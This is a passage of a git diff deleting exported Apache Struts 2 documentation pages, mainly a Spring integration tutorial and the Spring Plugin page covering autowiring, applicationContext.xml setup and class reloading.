-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23339629">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23339629">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23339629">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23339629">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The example code for this tutorial, spring_struts, is available for checkout at <a shape="rect" class="external-link" href="https://github.com/apache/struts-examples" rel="nofollow">https://github.com/apache/struts-example [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">private EditService editService = new EditServiceInMemory();
-
-</pre>
-</div></div><p>The above statement hard-codes a dependency between the EditAction class and the EditServiceInMemory class. This is poor design for two reasons.</p><ol><li>If I need to replace the EditServiceInMemory with another class that implements the EditService interface I'll have to hunt down and replace all statements where I hard-coded the dependency.</li><li>I cannot test EditAction without using the EditServiceInMemory class. I cannot isolate EditAction by using a stub implemen [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">    private EditService editService ;
-
-</pre>
-</div></div><p>At run time the Spring framework will provide an object of a class that implements the EditService interface.</p><h3 id="SpringandStruts2-Struts2SpringPlugin">Struts 2 Spring Plugin</h3><p>Struts 2 provides a plugin that enables Spring to inject into the ActionSupport classes any dependent objects you've specified in the Spring configuration file. Consult <a shape="rect" href="spring-plugin.html">Spring Plugin documentation</a> for more information about how the plugin wor [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public void setEditService(EditService editService) {
-		
-   this.editService = editService;
-		
-}
-
-</pre>
-</div></div><p>Spring will use that set method to provide an object of type EditService to the EditAction class at run time.</p><p>To make our application "Spring aware" we need to add this line to web.xml.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Spring Listener In web.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;listener&gt;
-	&lt;listener-class&gt;org.springframework.web.context.ContextLoaderListener&lt;/listener-class&gt;
-&lt;/listener&gt;
-
-</pre>
-</div></div><p>The above code will activate the Spring framework when the application is started up by the Servlet container. By default Spring will look for a configuration file name applicationContext.xml in WEB-INF (consult the Spring documentation for how you can change where Spring looks and what the configuration file name is).</p><h3 id="SpringandStruts2-SpringConfigurationFile">Spring Configuration File</h3><p>In the Spring configuration file we create a bean node for those objec [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;beans xmlns="http://www.springframework.org/schema/beans"
-       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-       xsi:schemaLocation="
-            http://www.springframework.org/schema/beans
-            http://www.springframework.org/schema/beans/spring-beans.xsd"&gt;
-
-&lt;bean id="editService" class="org.apache.struts.edit.service.EditServiceInMemory" /&gt;
-
-&lt;/beans&gt;
-
-</pre>
-</div></div><p>Note the id value above. By default the Spring plugin works with Spring to autowire the dependencies of the ActionClass by "name." Spring will create an object of class EditServiceMemory and provide that object to any ActionSupport class that has a setEditService method with an argument of type EditService. Consult the <a shape="rect" href="spring-plugin.html">Spring Plugin</a> documentation for how to change the default autowire method.</p><div class="confluence-informati [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;beans xmlns="http://www.springframework.org/schema/beans"
-       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-       xsi:schemaLocation="
-            http://www.springframework.org/schema/beans
-            http://www.springframework.org/schema/beans/spring-beans.xsd"&gt;
-            
-
-&lt;bean id="editService" class="org.apache.struts.edit.service.EditServiceInMemory" /&gt;
-
-&lt;bean id="editAction" class="org.apache.struts.edit.action.EditAction" scope="prototype"&gt;
-
-	&lt;property name="editService" ref="editService" /&gt;
-	
-&lt;/bean&gt;
-
-&lt;/beans&gt;
-
-</pre>
-</div></div><p>Note in the above that there is an <code>editAction</code>&#160;bean and its <code>editService</code>&#160;property is set to the <code>editService</code>&#160;bean. Since we are having Spring manage the <code>EditAction</code>&#160;class we must specify any properties of <code>EditAction</code>&#160;that we want Spring to inject. Please remember that actions must be created on each request, they cannot be&#160;<code>singletons</code> - this is the default&#160;<code>scope [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="edit" class="editAction" method="input"&gt;
-	&lt;result name="input"&gt;/edit.jsp&lt;/result&gt;
-&lt;/action&gt;
-
-</pre>
-</div></div><h3 id="SpringandStruts2-Summary">Summary</h3><p>In this tutorial we reviewed how to use the Struts 2 Spring plugin to integrate Spring and Struts. By using the Struts 2 Spring plugin you can have Spring manage the dependencies of your ActionSupport classes. Of course you can also take advantage of the many other benefits (AOP, Spring JDBC) that the Spring framework provides.</p><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" clas [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/spring-plugin.html b/content/docs/spring-plugin.html
deleted file mode 100644
index bd995f5..0000000
--- a/content/docs/spring-plugin.html
+++ /dev/null
@@ -1,249 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Spring Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="spring-plugin.html">Spring Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Spring Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14281">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14281">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14281">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14281">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14281">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14281">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><style type="text/css">/*<![CDATA[*/
-div.rbtoc1499445435631 {padding: 0px;}
-div.rbtoc1499445435631 ul {list-style: disc;margin-left: 0px;}
-div.rbtoc1499445435631 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style></p><div class="toc-macro rbtoc1499445435631">
-<ul class="toc-indentation"><li><a shape="rect" href="#SpringPlugin-Description">Description</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#SpringPlugin-Features">Features</a></li></ul>
-</li><li><a shape="rect" href="#SpringPlugin-Usage">Usage</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#SpringPlugin-Autowiring">Autowiring</a></li><li><a shape="rect" href="#SpringPlugin-InitializingActionsfromSpring">Initializing Actions from Spring</a></li><li><a shape="rect" href="#SpringPlugin-ClassReloading">Class Reloading</a></li><li><a shape="rect" href="#SpringPlugin-Settings">Settings</a></li><li><a shape="rect" href="#SpringPlugin-Installation">Installation</a></li></ul>
-</li></ul>
-</div><h2 id="SpringPlugin-Description">Description</h2><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p><a shape="rect" class="external-link" href="http://www.springframework.org" rel="nofollow">Spring</a> is a lightweight container, providing centralized, automated configuration and wiring of your applicatio [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">struts.objectFactory = spring</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;struts&gt;
-  &lt;constant name="struts.objectFactory" value="spring" /&gt;
-  ... 
-&lt;/struts&gt;
-</pre>
-</div></div><h4 id="SpringPlugin-Autowiring">Autowiring</h4><p>The framework enables "autowiring" by default. (Autowiring means to look for objects defined in Spring with the same name as your object property). To change the wiring mode, modify the <code>spring.autowire</code> property.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Wiring Mode</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">struts.objectFactory.spring.autoWire = type</pre>
-</div></div><p>The <code>autowire</code> property can be set to several options.</p><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>name</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>Auto-wire by matching the name of the bean in Spring with the name of the property in your action. <strong>This is the default</strong></p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>type</p></th><td col [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;listener&gt;
-    &lt;listener-class&gt;org.springframework.web.context.ContextLoaderListener&lt;/listener-class&gt;
-&lt;/listener&gt;
-</pre>
-</div></div><ul><li>Register your objects via the Spring configuration</li></ul><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>applicationContext.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.org/dtd/spring-beans.dtd"&gt;
-&lt;beans default-autowire="autodetect"&gt;
-    &lt;bean id="personManager" class="com.acme.PersonManager" scope="prototype"/&gt;
-    ...
-&lt;/beans&gt;
-</pre>
-</div></div><div class="confluence-information-macro confluence-information-macro-tip"><p class="title">More applicationContext configuration files needed?</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Since the Spring integration uses a standard Listener, it can be configured to support configuration files other than <code>applicationContext.xml</code>. Adding the following to your [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;!-- Context Configuration locations for Spring XML files --&gt;
-&lt;context-param&gt;
-    &lt;param-name&gt;contextConfigLocation&lt;/param-name&gt;
-    &lt;param-value&gt;/WEB-INF/applicationContext-*.xml,classpath*:applicationContext-*.xml&lt;/param-value&gt;
-&lt;/context-param&gt;
-</pre>
-</div></div><p>See the Spring documentation for a full description of this parameter.</p></div></div><h4 id="SpringPlugin-InitializingActionsfromSpring">Initializing Actions from Spring</h4><p>Normally, in <code>struts.xml</code> you specify the class for each Action. When using the default SpringObjectFactory, the framework will ask Spring to create the Action and wire up dependencies as specified by the default auto-wire behavior.</p><div class="confluence-information-macro confluence- [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;!DOCTYPE struts PUBLIC
-    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
-    "http://struts.apache.org/dtds/struts-2.0.dtd"&gt;
-&lt;struts&gt;
-    &lt;include file="struts-default.xml"/&gt;
-
-    &lt;package name="default" extends="struts-default"&gt;
-        &lt;action name="foo" class="com.acme.Foo"&gt;
-            &lt;result&gt;foo.ftl&lt;/result&gt;
-        &lt;/action&gt;
-    &lt;/package&gt;
-
-    &lt;package name="secure" namespace="/secure" extends="default"&gt;
-        &lt;action name="bar" class="bar"&gt;
-            &lt;result&gt;bar.ftl&lt;/result&gt;
-        &lt;/action&gt;
-    &lt;/package&gt;
-&lt;/struts&gt;
-</pre>
-</div></div><p>Where you have a Spring bean defined in your <code>applicationContext.xml</code> named "bar". Note that the <code>com.acme.Foo</code> Action did not need to be changed, because it can be autowired.</p><p>A typical spring configuration for bar could look as following.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>applicationConext.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.org/dtd/spring-beans.dtd"&gt;
-&lt;beans default-autowire="autodetect"&gt;
-    &lt;bean id="bar" class="com.my.BarClass" singleton="false"/&gt;
-    ...
-&lt;/beans&gt;
-</pre>
-</div></div><p>To use session-scoped components with Spring and Struts, see the <a shape="rect" href="spring-session-components-workarounds.html">Spring Session Components Workarounds</a> analysis.</p><h4 id="SpringPlugin-ClassReloading">Class Reloading</h4><p>The Spring plugin can be configured to automatically reload classes that change in the file system. This feature will enable code changes to be "hot deployed" without having to restart the web container. To enable this feature foll [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">   &lt;context-param&gt;
-       &lt;param-name&gt;contextClass&lt;/param-name&gt;
-       &lt;param-value&gt;org.apache.struts2.spring.ClassReloadingXMLWebApplicationContext&lt;/param-value&gt;
-   &lt;/context-param&gt; 
-</pre>
-</div></div></li><li><p>Add Apache Commons JCI FAM to the classpath. If you are using maven, add this to pom.xml</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">   &lt;dependency&gt;
-       &lt;groupId&gt;org.apache.commons&lt;/groupId&gt;
-       &lt;artifactId&gt;commons-jci-fam&lt;/artifactId&gt;
-       &lt;version&gt;1.0&lt;/version&gt;
-   &lt;/dependency&gt; 
-</pre>
-</div></div></li></ol><p>Letting the reloading class loader handle all the classes can lead to ClassCastException(s) because instances of the same classes loaded by different class loaders can not be assigned to each other. To prevent this problem we suggest that <code>struts.class.reloading.acceptClasses</code> is used to limit the classes loaded by the reloading class loader, so only actions are handled by it. This constant supports a comma separated list of regular expressions:</p><di [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.class.reloading.acceptClasses" value="com\.myproject\.example\.actions\..*" /&gt;
-</pre>
-</div></div><div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This feature is experimental, and <strong>should never</strong> be used in production systems.</p></div></div><h4 id="SpringPlugin-Settings">Settings</h4><p>The following settings can be customized. See the <a shape="rect" class="external-link" href="ht [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/spring-session-components-workarounds.html b/content/docs/spring-session-components-workarounds.html
deleted file mode 100644
index f32e6ec..0000000
--- a/content/docs/spring-session-components-workarounds.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Spring Session Components Workarounds</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="spring-plugin.html">Spring Plugin</a>&nbsp;&gt;&nbsp;<a href="spring-session-components-workarounds.html">Spring Session Components Workarounds</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Spring Session Components Workarounds</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=4588171">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=4588171">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=4588171">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=4588171">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=4588171">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=4588171">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/static-content.html b/content/docs/static-content.html
deleted file mode 100644
index ffc6eb5..0000000
--- a/content/docs/static-content.html
+++ /dev/null
@@ -1,186 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Static Content</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="static-content.html">Static Content</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
